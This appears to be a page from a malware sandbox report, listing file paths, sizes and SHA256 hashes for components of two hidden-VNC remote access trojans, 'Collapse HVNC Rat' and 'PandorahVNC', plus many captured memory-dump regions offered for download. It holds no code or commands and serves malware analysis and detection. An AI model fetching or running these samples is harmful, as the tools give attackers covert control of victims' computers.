                                                                                                                                                                                                          • SHA256 7da3f0e77c4dddc82df7c16c8c781fade599b7c91e3d32eefbce215b8f06b12a
                                                                                                                                                                                                          • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                          cGeoIp.dll
                                                                                                                                                                                                          • Path C:\Users\Admin\Downloads\Collapse HVNC Rat v1.5\cGeoIp.dll
                                                                                                                                                                                                          • Size 2.3MB
                                                                                                                                                                                                          • SHA256 d1ddd15e9c727a5ecf78d3918c17aee0512f5b181ad44952686beb89146e6bd0
                                                                                                                                                                                                          • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                          dnlib.dll
                                                                                                                                                                                                          • Path C:\Users\Admin\Downloads\Collapse HVNC Rat v1.5\dnlib.dll
                                                                                                                                                                                                          • Size 1.1MB
                                                                                                                                                                                                          • SHA256 648950f725fb0320e09c52dcaf81764916df96dc62e7429ba67daea0acb784ea
                                                                                                                                                                                                          • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                          PandorahVNC 1.8.6 Fixed.7z
                                                                                                                                                                                                          • Path C:\Users\Admin\Downloads\PandorahVNC 1.8.6 Fixed.7z
                                                                                                                                                                                                          • Size 20.2MB
                                                                                                                                                                                                          • SHA256 048d8293da1fd1e769af511b66aaf5667b0e7d3dbebbcc124ff6d274cce8784f
                                                                                                                                                                                                          • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                          DevExpress.Data.v21.2.dll
                                                                                                                                                                                                          • Path C:\Users\Admin\Downloads\PandorahVNC 1.8.6 Fixed\DevExpress.Data.v21.2.dll
                                                                                                                                                                                                          • Size 5.1MB
                                                                                                                                                                                                          • SHA256 4f6510675493bbbc8e0870245247c0219456b51d0044237c4c861a67834a337e
                                                                                                                                                                                                          • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                          DevExpress.Utils.v21.2.dll
                                                                                                                                                                                                          • Path C:\Users\Admin\Downloads\PandorahVNC 1.8.6 Fixed\DevExpress.Utils.v21.2.dll
                                                                                                                                                                                                          • Size 17.7MB
                                                                                                                                                                                                          • SHA256 6e28b52f542833d5aeacee111ebcbb35af5ab080ef542172a9dc9f0f1004da44
                                                                                                                                                                                                          • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                          PandorahVNC.exe
                                                                                                                                                                                                          • Path C:\Users\Admin\Downloads\PandorahVNC 1.8.6 Fixed\PandorahVNC.exe
                                                                                                                                                                                                          • Size 5.0MB
                                                                                                                                                                                                          • SHA256 e6986e80395ec6fb4fc2450dd4de5ea81ba8d489a1464a1108a98f6541967af6
                                                                                                                                                                                                          • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                          PandorahVNC.exe.config
                                                                                                                                                                                                          • Path C:\Users\Admin\Downloads\PandorahVNC 1.8.6 Fixed\PandorahVNC.exe.config
                                                                                                                                                                                                          • Size 3KB
                                                                                                                                                                                                          • SHA256 0aa9e3ab5c88c5761120206eff5c6e35c90288290b3647a942059705ef5b75e5
                                                                                                                                                                                                          • MD5 SHA1 SHA512
                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                          memory/752-16598-0x000002481EB00000-0x000002481EB2E000-memory.dmp
                                                                                                                                                                                                          Download

                                                                                                                                                                                                          memory/1896-16604-0x0000000005DC0000-0x0000000005E10000-memory.dmp
                                                                                                                                                                                                          Download

                                                                                                                                                                                                          memory/1896-16600-0x0000000000400000-0x0000000000418000-memory.dmp
                                                                                                                                                                                                          Download

                                                                                                                                                                                                          memory/1896-16601-0x0000000005690000-0x00000000056F6000-memory.dmp
                                                                                                                                                                                                          Download

                                                                                                                                                                                                          memory/2796-869-0x000001F270B70000-0x000001F270DC2000-memory.dmp
                                                                                                                                                                                                          Download

                                                                                                                                                                                                          memory/2796-872-0x000001F271300000-0x000001F271828000-memory.dmp
                                                                                                                                                                                                          Download

                                                                                                                                                                                                          memory/2796-894-0x000001FA768B0000-0x000001FA768C2000-memory.dmp
                                                                                                                                                                                                          Download

                                                                                                                                                                                                          memory/2796-871-0x000001F26FD50000-0x000001F26FE02000-memory.dmp
                                                                                                                                                                                                          Download

                                                                                                                                                                                                          memory/2796-863-0x000001F255AA0000-0x000001F255ABA000-memory.dmp
                                                                                                                                                                                                          Download

                                                                                                                                                                                                          memory/2796-865-0x000001F255A70000-0x000001F255A7A000-memory.dmp
                                                                                                                                                                                                          Download

                                                                                                                                                                                                          memory/2796-867-0x000001F2707E0000-0x000001F270904000-memory.dmp
                                                                                                                                                                                                          Download

                                                                                                                                                                                                          memory/2796-855-0x000001F2700A0000-0x000001F2704A6000-memory.dmp
                                                                                                                                                                                                          Download

                                                                                                                                                                                                          memory/2796-873-0x000001F255AC0000-0x000001F255ACA000-memory.dmp
                                                                                                                                                                                                          Download

                                                                                                                                                                                                          memory/2796-874-0x000001F257520000-0x000001F257532000-memory.dmp
                                                                                                                                                                                                          Download

                                                                                                                                                                                                          memory/2796-890-0x000001F274140000-0x000001F2758BE000-memory.dmp
                                                                                                                                                                                                          Download

                                                                                                                                                                                                          memory/2796-857-0x000001F2704B0000-0x000001F2707DE000-memory.dmp
                                                                                                                                                                                                          Download

                                                                                                                                                                                                          memory/2796-859-0x000001F26FE90000-0x000001F270086000-memory.dmp
                                                                                                                                                                                                          Download

                                                                                                                                                                                                          memory/2796-861-0x000001F255A80000-0x000001F255A9A000-memory.dmp
                                                                                                                                                                                                          Download

                                                                                                                                                                                                          memory/4748-16586-0x000000000E200000-0x000000000E214000-memory.dmp
                                                                                                                                                                                                          Download

                                                                                                                                                                                                          memory/4748-16477-0x000000000C6E0000-0x000000000C718000-memory.dmp
                                                                                                                                                                                                          Download

                                                                                                                                                                                                          memory/4748-16466-0x0000000005CA0000-0x0000000005CB2000-memory.dmp
                                                                                                                                                                                                          Download

                                                                                                                                                                                                          memory/4748-16470-0x0000000007BB0000-0x0000000008D74000-memory.dmp
                                                                                                                                                                                                          Download

                                                                                                                                                                                                          memory/4748-16473-0x0000000006F10000-0x0000000007432000-memory.dmp
                                                                                                                                                                                                          Download

                                                                                                                                                                                                          memory/4748-16474-0x0000000009510000-0x0000000009C98000-memory.dmp
                                                                                                                                                                                                          Download

                                                                                                                                                                                                          memory/4748-16521-0x000000000C800000-0x000000000C820000-memory.dmp
                                                                                                                                                                                                          Download

                                                                                                                                                                                                          memory/4748-16520-0x000000000D420000-0x000000000D7B4000-memory.dmp
                                                                                                                                                                                                          Download

                                                                                                                                                                                                          memory/4748-16519-0x000000000CDA0000-0x000000000D41C000-memory.dmp
                                                                                                                                                                                                          Download

                                                                                                                                                                                                          memory/4748-16465-0x0000000000FD0000-0x00000000014DC000-memory.dmp
                                                                                                                                                                                                          Download

                                                                                                                                                                                                          memory/4748-16585-0x000000000EA90000-0x000000000EAE2000-memory.dmp
                                                                                                                                                                                                          Download

                                                                                                                                                                                                          memory/4748-16588-0x000000000CD80000-0x000000000CD88000-memory.dmp
                                                                                                                                                                                                          Download

                                                                                                                                                                                                          memory/4748-16587-0x000000000BDB0000-0x000000000BDC0000-memory.dmp
                                                                                                                                                                                                          Download

                                                                                                                                                                                                          memory/4748-16584-0x000000000BE10000-0x000000000BE2A000-memory.dmp
                                                                                                                                                                                                          Download

                                                                                                                                                                                                          memory/4748-16475-0x0000000006C60000-0x0000000006D10000-memory.dmp
                                                                                                                                                                                                          Download

                                                                                                                                                                                                          memory/4748-16476-0x000000000C670000-0x000000000C69E000-memory.dmp
                                                                                                                                                                                                          Download

                                                                                                                                                                                                          memory/4748-16522-0x000000000DB60000-0x000000000DD6E000-memory.dmp
                                                                                                                                                                                                          Download

                                                                                                                                                                                                          memory/4748-16583-0x000000000EB10000-0x000000000EB8E000-memory.dmp
                                                                                                                                                                                                          Download

                                                                                                                                                                                                          memory/4748-16524-0x000000000E740000-0x000000000E7EA000-memory.dmp
                                                                                                                                                                                                          Download

                                                                                                                                                                                                          memory/4748-16523-0x000000000D7C0000-0x000000000DB14000-memory.dmp
                                                                                                                                                                                                          Download

                                                                                                                                                                                                          memory/4932-541-0x000002A434B30000-0x000002A434B31000-memory.dmp
                                                                                                                                                                                                          Download

                                                                                                                                                                                                          memory/4932-540-0x000002A42E320000-0x000002A432ED2000-memory.dmp
                                                                                                                                                                                                          Download

                                                                                                                                                                                                          memory/5192-1325-0x0000000000B20000-0x0000000000B36000-memory.dmp
                                                                                                                                                                                                          Download

                                                                                                                                                                                                          memory/5636-2269-0x000000000B830000-0x000000000BA6A000-memory.dmp
                                                                                                                                                                                                          Download

                                                                                                                                                                                                          memory/5636-2295-0x000000000B830000-0x000000000BA6A000-memory.dmp
                                                                                                                                                                                                          Download

                                                                                                                                                                                                          memory/5636-2349-0x000000000B830000-0x000000000BA6A000-memory.dmp
                                                                                                                                                                                                          Download

                                                                                                                                                                                                          memory/5636-2353-0x000000000B830000-0x000000000BA6A000-memory.dmp
                                                                                                                                                                                                          Download

                                                                                                                                                                                                          memory/5636-2355-0x000000000B830000-0x000000000BA6A000-memory.dmp
                                                                                                                                                                                                          Download

                                                                                                                                                                                                          memory/5636-2357-0x000000000B830000-0x000000000BA6A000-memory.dmp
                                                                                                                                                                                                          Download

                                                                                                                                                                                                          memory/5636-2361-0x000000000B830000-0x000000000BA6A000-memory.dmp
                                                                                                                                                                                                          Download

                                                                                                                                                                                                          memory/5636-2347-0x000000000B830000-0x000000000BA6A000-memory.dmp
                                                                                                                                                                                                          Download

                                                                                                                                                                                                          memory/5636-2345-0x000000000B830000-0x000000000BA6A000-memory.dmp
                                                                                                                                                                                                          Download

                                                                                                                                                                                                          memory/5636-2343-0x000000000B830000-0x000000000BA6A000-memory.dmp
                                                                                                                                                                                                          Download

                                                                                                                                                                                                          memory/5636-2363-0x000000000B830000-0x000000000BA6A000-memory.dmp
                                                                                                                                                                                                          Download

                                                                                                                                                                                                          memory/5636-16334-0x00000000004D0000-0x00000000004DC000-memory.dmp
                                                                                                                                                                                                          Download

                                                                                                                                                                                                          memory/5636-16340-0x000000000C580000-0x000000000C6F4000-memory.dmp
                                                                                                                                                                                                          Download

                                                                                                                                                                                                          memory/5636-2359-0x000000000B830000-0x000000000BA6A000-memory.dmp
                                                                                                                                                                                                          Download

                                                                                                                                                                                                          memory/5636-2247-0x000000000B830000-0x000000000BA6A000-memory.dmp
                                                                                                                                                                                                          Download

                                                                                                                                                                                                          memory/5636-2251-0x000000000B830000-0x000000000BA6A000-memory.dmp
                                                                                                                                                                                                          Download

                                                                                                                                                                                                          memory/5636-2243-0x0000000072F70000-0x0000000072FF9000-memory.dmp
                                                                                                                                                                                                          Download

                                                                                                                                                                                                          memory/5636-2244-0x000000000B830000-0x000000000BA6A000-memory.dmp
                                                                                                                                                                                                          Download

                                                                                                                                                                                                          memory/5636-2245-0x000000000B830000-0x000000000BA6A000-memory.dmp
                                                                                                                                                                                                          Download

                                                                                                                                                                                                          memory/5636-2249-0x000000000B830000-0x000000000BA6A000-memory.dmp
                                                                                                                                                                                                          Download

                                                                                                                                                                                                          memory/5636-2253-0x000000000B830000-0x000000000BA6A000-memory.dmp
                                                                                                                                                                                                          Download

                                                                                                                                                                                                          memory/5636-2257-0x000000000B830000-0x000000000BA6A000-memory.dmp
                                                                                                                                                                                                          Download

                                                                                                                                                                                                          memory/5636-2259-0x000000000B830000-0x000000000BA6A000-memory.dmp
                                                                                                                                                                                                          Download

                                                                                                                                                                                                          memory/5636-2261-0x000000000B830000-0x000000000BA6A000-memory.dmp
                                                                                                                                                                                                          Download

                                                                                                                                                                                                          memory/5636-2263-0x000000000B830000-0x000000000BA6A000-memory.dmp
                                                                                                                                                                                                          Download

                                                                                                                                                                                                          memory/5636-2267-0x000000000B830000-0x000000000BA6A000-memory.dmp
                                                                                                                                                                                                          Download

                                                                                                                                                                                                          memory/5636-16391-0x0000000011020000-0x0000000011142000-memory.dmp
                                                                                                                                                                                                          Download

                                                                                                                                                                                                          memory/5636-2271-0x000000000B830000-0x000000000BA6A000-memory.dmp
                                                                                                                                                                                                          Download

                                                                                                                                                                                                          memory/5636-2273-0x000000000B830000-0x000000000BA6A000-memory.dmp
                                                                                                                                                                                                          Download

                                                                                                                                                                                                          memory/5636-2275-0x000000000B830000-0x000000000BA6A000-memory.dmp
                                                                                                                                                                                                          Download

                                                                                                                                                                                                          memory/5636-2277-0x000000000B830000-0x000000000BA6A000-memory.dmp
                                                                                                                                                                                                          Download

                                                                                                                                                                                                          memory/5636-2281-0x000000000B830000-0x000000000BA6A000-memory.dmp
                                                                                                                                                                                                          Download

                                                                                                                                                                                                          memory/5636-2283-0x000000000B830000-0x000000000BA6A000-memory.dmp
                                                                                                                                                                                                          Download

                                                                                                                                                                                                          memory/5636-2285-0x000000000B830000-0x000000000BA6A000-memory.dmp
                                                                                                                                                                                                          Download

                                                                                                                                                                                                          memory/5636-2287-0x000000000B830000-0x000000000BA6A000-memory.dmp
                                                                                                                                                                                                          Download

                                                                                                                                                                                                          memory/5636-2289-0x000000000B830000-0x000000000BA6A000-memory.dmp
                                                                                                                                                                                                          Download

                                                                                                                                                                                                          memory/5636-2294-0x000000000B830000-0x000000000BA6A000-memory.dmp
                                                                                                                                                                                                          Download

                                                                                                                                                                                                          memory/5636-2351-0x000000000B830000-0x000000000BA6A000-memory.dmp
                                                                                                                                                                                                          Download

                                                                                                                                                                                                          memory/5636-2297-0x000000000B830000-0x000000000BA6A000-memory.dmp
                                                                                                                                                                                                          Download

                                                                                                                                                                                                          memory/5636-2299-0x000000000B830000-0x000000000BA6A000-memory.dmp
                                                                                                                                                                                                          Download

                                                                                                                                                                                                          memory/5636-2301-0x000000000B830000-0x000000000BA6A000-memory.dmp
                                                                                                                                                                                                          Download

                                                                                                                                                                                                          memory/5636-2303-0x000000000B830000-0x000000000BA6A000-memory.dmp
                                                                                                                                                                                                          Download

                                                                                                                                                                                                          memory/5636-2307-0x000000000B830000-0x000000000BA6A000-memory.dmp
                                                                                                                                                                                                          Download

                                                                                                                                                                                                          memory/5636-2309-0x000000000B830000-0x000000000BA6A000-memory.dmp
                                                                                                                                                                                                          Download

                                                                                                                                                                                                          memory/5636-2311-0x000000000B830000-0x000000000BA6A000-memory.dmp
                                                                                                                                                                                                          Download

                                                                                                                                                                                                          memory/5636-2313-0x000000000B830000-0x000000000BA6A000-memory.dmp
                                                                                                                                                                                                          Download

                                                                                                                                                                                                          memory/5636-2315-0x000000000B830000-0x000000000BA6A000-memory.dmp
                                                                                                                                                                                                          Download

                                                                                                                                                                                                          memory/5636-2317-0x000000000B830000-0x000000000BA6A000-memory.dmp
                                                                                                                                                                                                          Download

                                                                                                                                                                                                          memory/5636-2319-0x000000000B830000-0x000000000BA6A000-memory.dmp
                                                                                                                                                                                                          Download

                                                                                                                                                                                                          memory/5636-2321-0x000000000B830000-0x000000000BA6A000-memory.dmp
                                                                                                                                                                                                          Download

                                                                                                                                                                                                          memory/5636-2323-0x000000000B830000-0x000000000BA6A000-memory.dmp
                                                                                                                                                                                                          Download

                                                                                                                                                                                                          memory/5636-2327-0x000000000B830000-0x000000000BA6A000-memory.dmp
                                                                                                                                                                                                          Download

                                                                                                                                                                                                          memory/5636-2329-0x000000000B830000-0x000000000BA6A000-memory.dmp
                                                                                                                                                                                                          Download

                                                                                                                                                                                                          memory/5636-2331-0x000000000B830000-0x000000000BA6A000-memory.dmp
                                                                                                                                                                                                          Download

                                                                                                                                                                                                          memory/5636-2333-0x000000000B830000-0x000000000BA6A000-memory.dmp
                                                                                                                                                                                                          Download

                                                                                                                                                                                                          memory/5636-2335-0x000000000B830000-0x000000000BA6A000-memory.dmp
                                                                                                                                                                                                          Download

                                                                                                                                                                                                          memory/5636-2337-0x000000000B830000-0x000000000BA6A000-memory.dmp
                                                                                                                                                                                                          Download

                                                                                                                                                                                                          memory/5636-2339-0x000000000B830000-0x000000000BA6A000-memory.dmp
                                                                                                                                                                                                          Download

                                                                                                                                                                                                          memory/5636-2341-0x000000000B830000-0x000000000BA6A000-memory.dmp
                                                                                                                                                                                                          Download

                                                                                                                                                                                                          memory/5636-2325-0x000000000B830000-0x000000000BA6A000-memory.dmp
                                                                                                                                                                                                          Download

                                                                                                                                                                                                          memory/5636-2305-0x000000000B830000-0x000000000BA6A000-memory.dmp
                                                                                                                                                                                                          Download

                                                                                                                                                                                                          memory/5636-2291-0x000000000B830000-0x000000000BA6A000-memory.dmp
                                                                                                                                                                                                          Download

                                                                                                                                                                                                          memory/5636-2279-0x000000000B830000-0x000000000BA6A000-memory.dmp
                                                                                                                                                                                                          Download

                                                                                                                                                                                                          memory/5636-2265-0x000000000B830000-0x000000000BA6A000-memory.dmp
                                                                                                                                                                                                          Download

                                                                                                                                                                                                          memory/5636-2255-0x000000000B830000-0x000000000BA6A000-memory.dmp
                                                                                                                                                                                                          Download

                                                                                                                                                                                                          memory/5636-2235-0x000000000B830000-0x000000000BA6E000-memory.dmp
                                                                                                                                                                                                          Download

                                                                                                                                                                                                          memory/5636-2234-0x0000000005EF0000-0x0000000005EFA000-memory.dmp
                                                                                                                                                                                                          Download

                                                                                                                                                                                                          memory/5636-2233-0x0000000009CB0000-0x0000000009D42000-memory.dmp
                                                                                                                                                                                                          Download

                                                                                                                                                                                                          memory/5636-2232-0x000000000A420000-0x000000000A9C4000-memory.dmp
                                                                                                                                                                                                          Download

                                                                                                                                                                                                          memory/5636-2231-0x00000000005C0000-0x0000000005732000-memory.dmp
                                                                                                                                                                                                          Download

                                                                                                                                                                                                          memory/5636-16341-0x000000000C7F0000-0x000000000C906000-memory.dmp
                                                                                                                                                                                                          Download

                                                                                                                                                                                                          memory/5636-16342-0x000000000C180000-0x000000000C1B0000-memory.dmp
                                                                                                                                                                                                          Download

                                                                                                                                                                                                          memory/5636-16344-0x000000000D610000-0x000000000D6AC000-memory.dmp
                                                                                                                                                                                                          Download

                                                                                                                                                                                                          memory/5764-497-0x0000020745DD0000-0x0000020746DD0000-memory.dmp
                                                                                                                                                                                                          Download